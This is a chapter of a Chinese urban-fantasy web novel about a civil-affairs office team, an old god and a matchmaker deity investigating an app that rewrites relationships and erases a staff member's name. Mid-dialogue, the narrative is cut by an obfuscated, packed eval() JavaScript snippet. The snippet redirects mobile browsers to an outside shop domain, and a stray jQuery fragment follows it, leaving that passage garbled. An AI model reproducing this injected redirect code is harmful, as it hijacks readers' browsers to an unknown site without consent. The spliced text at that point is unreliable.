下班前十分钟,周主任没有让大家准点走。
她把保温杯往小会议室桌上一放。
“开个短会。”
夏圆圆刚把包背到肩上,闻言动作一僵。
“主任,多短?”
周主任看她一眼。
“在你点外卖之前结束。”
夏圆圆默默把手机扣下。
老马端着茶杯从门口路过,脚步刚要加快,就被周主任叫住。
“老马,你也来。”
老马停住,回头看了一眼会议室。
“我就是个保安。”
周主任面无表情。
“你不是普通保安,所以你也要来。”
老马端着茶杯进了会议室,很自觉地坐到最靠门的位置。
“我旁听。”
闻厄坐在鹿照影旁边。
他面前放着一本崭新的笔记本,封皮上还贴着民政服务中心统一发的姓名贴。
【闻厄】
夏圆圆看了一眼姓名贴,小声说:“主任,他名字真的就这么登记了?”
周主任面不改色。
“改名要走流程,先这样。”
鹿照影:“……”
很好。
民政局目前唯一没有被流程驯服的,只有旧日邪神本人。
闻厄坐得很直,袖口一丝不乱,像刚从某本古老典籍里走出来,又被人塞进了现代会议流程。
鹿照影看了一眼他摊开的笔记本。
第一页已经写了几行字。
【人间窗口守则】
【一,不可剜心。】
【二,不可拔舌。】
【三,流程暂不可斩。】
【四,静音模式,不宜对群众使用。】
鹿照影:“……”
他适应现代社会的方式,多少有点让人担心。
会议室里刚安静下来,门口忽然探进来半张脸。
月照迟一手拎着奶茶,一手夹着那本边角发旧的红线簿,桃花眼弯着,笑得很无辜。
他的视线在会议室里扫了一圈。
周主任,老马,夏圆圆,鹿照影,闻厄。
很好。
全是麻烦。
月照迟很自然地把探进来的半张脸收了回去。
“你们忙?那我不打扰——”
“月照迟。”
周主任头也没抬。
月照迟脚步一停。
“到。”
这个字答得太顺口,说完他自己都沉默了一下。
夏圆圆没忍住,小声说:“月老也会条件反射。”
月照迟回头,笑容不变。
“打工打久了,神也会。”
周主任抬眼看他。
“进来。”
月照迟看了看手里的奶茶。
“周主任,我就是路过。”
周主任冷笑。
“人生嘛,总会路过一些不该路过的地方。”
周主任把一张打印出来的截图推到桌边。
“你路过得正好。”
月照迟看见截图上的浅金色字迹,脸上的笑慢慢淡了。
【最优婚姻人格生成失败。】
【异常干预源:鹿照影。】
【无缘变量优先级提升。】
【正在检索:鹿照影原始档案。】
月照迟叹了口气。
“我就知道,这杯奶茶买得不吉利。”
他认命地走进来,拉开椅子坐下。
“先说好,我不是你们单位的人。”
周主任:“知道。”
“没有编制。”
“知道。”
“没有临时工合同。”
闻厄抬眼看他。
月照迟立刻补充:“当然,我也不是羡慕你。”
闻厄:“我未炫耀。”
鹿照影低声说:“他可能没有这个意思。”
月照迟把奶茶放到桌上,叹气。
“所以,我能走吗?”
周主任说:“你走可以。”
“但有三件事,你走之前最好先听一听。”
月照迟没说话。
周主任竖起一根手指。
“第一,天作之合污染了红线。这本来就是你的专业范围。”
第二根手指。
“第二,它现在不只是乱牵红线,而是在借婚姻登记,把人的关系重新归档。”
第三根手指。
“第三。”
周主任看了鹿照影一眼。
“你亲口说过,小鹿不是没姻缘,是被人从簿子里剪掉了。”
会议室静了一下。
鹿照影垂眼看向桌面。
月照迟握着红线簿的手指微微收紧。
周主任继续说:“现在天作之合在找她的原始档案。”
“我们这边能查人事、户籍、登记记录。但红线簿,只有你能查。”
她看着月照迟。
“所以,这不是让你参加我们单位的团建,而是请你作为外部顾问,协助确认鹿照影那一页到底是空白、缺页,还是被人动过手脚。”
月照迟安静了几秒。
他低头看着那张打印纸,把奶茶往旁边推了推。
“话都说到这份上了。”
他拉开椅子坐下。
“我再走,就显得我这个月老很没有职业道德。”
夏圆圆小声问:“那你算正式加入我们了吗?”
月照迟看向她,笑容重新挂回来一点。
“算临时协作。”
老马:“编外。”
月照迟:“外部顾问。”
老马:“没工资。”
月照迟:“……”
他转头看周主任。
“有补贴吗?”
周主任:“没有。”
“交通费?”
“没有。”
“奶茶能报吗?”
“不能。”
月照迟沉默片刻,端起奶茶。
“那我保留拒绝加班的权利。”
周主任:“这个可以。”
月照迟刚松口气。
周主任又说:“但今天这会先开完。”
月照迟盯着墙上的钟:“已经五点半,一会儿地铁晚高峰了。”
他看向鹿照影,语气诚恳。
“小姑娘,你们单位的流程,比红线还难挣脱。”
鹿照影笑了,“习惯就好。”
闻厄低头,在笔记本上补了一行。
【外部顾问:无补贴,不可逃会。】
鹿照影眼皮一跳。
“这个不用记。”
闻厄笔尖停住。
“为何?”
鹿照影看了一眼他工牌上的名字。
“因为你是临时工。”
闻厄:“临时工不可逃会?”
鹿照影:“准确地说,临时工更不可逃会。”
闻厄沉默片刻。
把那行字划掉,又重新写了一行。
【临时工:更不可逃会。】
周主任拿起白板笔,在白板上写下第一行。
【宋知夏、程亦川案】
“第一件事,宋知夏和程亦川。”
夏圆圆立刻说:“就是差点让本市常住人口归零的那对。”
闻厄看向她。
夏圆圆补充:“按你的说法。”
周主任点点白板。
“那一案,天作之合做的不是普通推荐。”
“它试图让一段被算法安排的婚姻,通过我们的窗口正式落印。”
鹿照影看着那个“印”字,忽然想起闻厄第一天盯着公章看的样子。
周主任点了点白板。
“它不是单纯想撮合一对新人。”
“它要的是我们这里承认。”
“只要窗口办了,章盖了,系统里有记录了。”
“假的,也能变成真的。”
闻厄垂眼。
“借人间的章,认它的账。”
周主任写下第二行。
【槐生、林秋萍案】
“第二件,树妖案。”
“它判断长久关系不稳定,推荐更合适、更可控的伴侣。”
月照迟轻轻啧了一声。
“传统婚恋最烦这种。”
夏圆圆:“哪种?”
月照迟:“把三十年的陪伴折算成匹配分。”
鹿照影想起那行字。
【历史情感价值:不可量化,建议忽略。】
她忽然觉得心口有点发冷。
不可量化。
所以建议忽略。
原来在天作眼里,吵过的架、等过的人、没说出口的歉意,都只是不能录入表格的无效数据。
周主任写下第三行。
【苏晚晚案】
白板笔尖停了一下。
“这件最严重。”
“它已经不只是推荐对象。”
“它生成了一个更适合结婚的苏晚晚。”
夏圆圆小声说:“最优婚姻人格。”
这个词从她嘴里说出来,大家都安静了一下。
周主任说:“它可以模拟记忆,模拟语气,模拟亲密动作。”
“甚至能同步亲属关系、恢复登记权限。”
“如果成功,真正的苏晚晚不会死。”
鹿照影接了下去:“她会变成影子。”
会议室安静下来。
闻厄垂眼,声音很冷。
“在关系层面,她会被归档为旧版本。”
周主任把白板笔盖上。
“所以现在可以确定。”
“天作之合的业务不是婚恋。”
“它真正做的,是关系重建。”
她在白板的最上方写下四个字。
【关系重建】
“它先匹配。”
“再诱导。”
“诱导失败,就替换。”
“替换成功,再归档。”
夏圆圆看着白板,脸都白了。
“主任,这不是APP。”
周主任:“嗯。”
老马端着茶杯,低声说:“这是个披着APP皮的新神。”
夏圆圆忽然小声说:“鹿姐。”
鹿照影回头:“怎么了?”
夏圆圆盯着她胸前的工牌,脸色一点点白了。
鹿照影低头看去。
工牌还挂在胸前。
照片还在。
可姓名栏里的三个字,忽然少了一笔。
【鹿照影】
最后那个“影”字,右边最细的一撇,像被水泡开一样,慢慢淡掉。
下一秒,一小片黑色碎屑从工牌表面剥落下来。
它落在桌面上,没有声音。
不像墨。
更像一截烧焦的线。
夏圆圆嘴唇发白。
“鹿姐,你的名字……”
她后半句话忽然没了。
不是她停住。
声音像被什么东西从空气里拿走了。
夏圆圆张了张嘴,又试了一次。
“鹿……”
这次连第二个字都没有出来。
会议室里一下子静得厉害。
鹿照影看着桌上那片黑色碎屑,忽然觉得后背一点点发凉。
原来它不是在删除记录。
它是在练习删除她的名字。
闻厄伸手,指尖停在那片黑色碎屑上方。
碎屑像察觉到什么,微微蜷了一下。
“不是墨。”
鹿照影抬眼。
闻厄声音沉下去。
“是名线。”
夏圆圆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758968|209562||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小声问:“名字也有线?”
月照迟脸色也变了。
“有。”
他看着鹿照影的工牌。
“人活在世上,名字被人叫,被人写,被人记住,也是一种线。”
闻厄垂眼。
“她的名线开始脱落。”
鹿照影盯着自己的工牌。
“会怎么样?”
闻厄没有立刻回答。
周主任替他问:“说人话。”
闻厄看着她。
“若继续脱落。最开始,是系统打不出她的名字。然后,是别人叫不出她的名字。”
“最后……”
他停了一下。
“她会记不起自己叫什么。”
周主任把鹿照影的工牌拿过去,看了一眼,又轻轻放回她面前。
她的声音沉了下来。
“如果这件事继续发展下去,最开始只是系统查不到她。再往后,是身边人开始记不清她。最后,可能连她做过的事、说过的话、留下的痕迹,都会被一点点抹掉。”
夏圆圆一下子抬头。
“那怎么行?”
周主任看她一眼。
“所以不能等。”
她把白板翻到另一面。
“从现在开始,这件事不是小鹿一个人的私事。”
“也不是普通系统故障。”
“这是我们窗口目前最优先处理的异常事项。”
她拿起白板笔。
“分工。”
夏圆圆立刻坐直。
周主任说:“小夏,你查系统。”
夏圆圆:“人事系统?”
“人事系统,窗口记录,叫号机后台,所有出现过‘鹿照影’又消失过的地方。”
夏圆圆点头:“明白,我负责现代电子闹鬼。”
周主任看向老马。
“老马,你去老档案室。”
老马喝了口茶。
“以保安身份巡查。”
周主任:“随你怎么说。”
老马:“懂。”
周主任看向月照迟。
“月照迟,你查红线簿。”
月照迟叹气:“外部顾问正式上岗。”
周主任:“查她是不是写过又被剪掉。”
月照迟脸上的笑淡了点。
“这个我会查。”
最后,周主任看向闻厄。
“你呢?”
闻厄垂眼。
“我查旧日誓约。”
会议室忽然安静。
鹿照影看着他。
“为什么是旧日誓约?”
闻厄沉默片刻。
“因为剪掉一个人的线,不是月老能做的事。”
月照迟没有反驳。
闻厄继续说:“那更像旧神的手法。”
鹿照影心口微微一紧。
“旧神?”
闻厄抬眼看她。
“像我这样的。”
会议室安静了很久。
最后,周主任把白板笔盖上。
“行,今天先到这儿。”
夏圆圆怔怔地抬头:“这就到这儿了?”
周主任看她。
“不然呢?现在冲进既白科技,把沈既白按在打印机上审?”
夏圆圆想象了一下,默默摇头。
周主任拿起保温杯。
“明天开始查。”
“今晚先吃饭。”
鹿照影:“吃饭?”
“欢迎新同事。”
周主任看向闻厄。
“我们单位的规矩,入职要吃欢迎饭。”
闻厄抬眼。
“祭礼?”
鹿照影:“……”
夏圆圆:“……”
周主任面无表情:“火锅。”
闻厄沉思片刻。
“火锅是何种祭礼?”
鹿照影看着他,很认真地说:“把牛羊贡品切片,在红汤里涮熟,然后众人分食。”
闻厄沉默。
月照迟笑得肩膀都抖了。
周主任:“小鹿。”
鹿照影立刻解释道:“这是现代人际交往流程,你慢慢会习惯的。新人入职,有迎新饭。老人离职,有散伙饭。项目结束,有庆功饭。项目失败,有复盘饭。”
夏圆圆小声说:“反正人类只要有事,就能吃一顿。”
老马端着茶杯点头:“这叫基层凝聚力。”
周主任看了他一眼。
“说人话。”
老马:“我想吃火锅。”
闻厄看向他。
老马很坦然:“小闻,你以后会懂的。人间很多流程,最后都会流向火锅。”
闻厄若有所思。
鹿照影眼皮一跳。
“这句不用记。”
这句话刚说完,鹿照影放在桌上的工牌忽然轻轻响了一声。
很轻。
像塑料片被什么东西从里面敲了一下。
她低头看去。
工牌照片上,她肩膀边缘那一块模糊的地方,又往里淡了一点。
而照片背面,不知什么时候,多了一行浅金色的小字。
【原始档案检索中。】
【预计同步地点:有缘再涮。】
鹿照影:“……”
夏圆圆凑过来看了一眼,脸色一点点白了。
“我们今晚,还去吃火锅吗?”
“去。”周主任说:“既然对方已经把地点报出来了,我们就去看看,他到底想同步什么。”
夏圆圆咽了咽口水。
“主任,这算不算明知山有虎,偏向虎山行?”
老马端着茶杯说:“算团建升级版。”
闻厄合上小本子,声音很低。
“既已设宴。”
“便等客来。”